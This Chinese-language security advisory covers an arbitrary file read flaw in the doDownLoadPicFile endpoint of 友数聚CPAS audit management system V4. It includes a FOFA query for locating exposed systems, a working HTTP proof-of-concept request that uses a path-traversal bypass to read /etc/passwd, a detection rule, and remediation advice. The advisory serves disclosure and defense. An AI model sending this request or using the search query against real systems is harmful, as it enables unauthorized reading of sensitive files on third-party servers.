友数聚CPAS审计管理系统V4 doDownLoadPicFile 任意文件读取漏洞

友数聚CPAS审计管理系统V4 doDownLoadPicFile 任意文件读取漏洞，攻击者可进行文件读取，获取重要敏感配置信息。

影响版本

友数聚CPAS审计管理系统V4

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="/cpasm4/static/cap/font/iconfont.css"

POC/EXP：

GET /cpasm4/static/..;/mobileUploadPictureController/doDownLoadPicFile?picPath=/etc/passwd&fileType=1 HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"友数聚CPAS审计管理系统V4 - Arbitrary File Read via doDownLoadPicFile";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/cpasm4/static";
    http.uri; pcre:"/\\.\\.;/i";
    http.uri; pcre:"/picPath=\\/etc\\/passwd/i";
    metadata:
        service http,
        affected_product "友数聚CPAS审计管理系统V4",
        vulnerability_type "Arbitrary File Read",
        severity "critical";
    classtype:web-application-attack;
    sid:1000638;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限，升级至安全版本。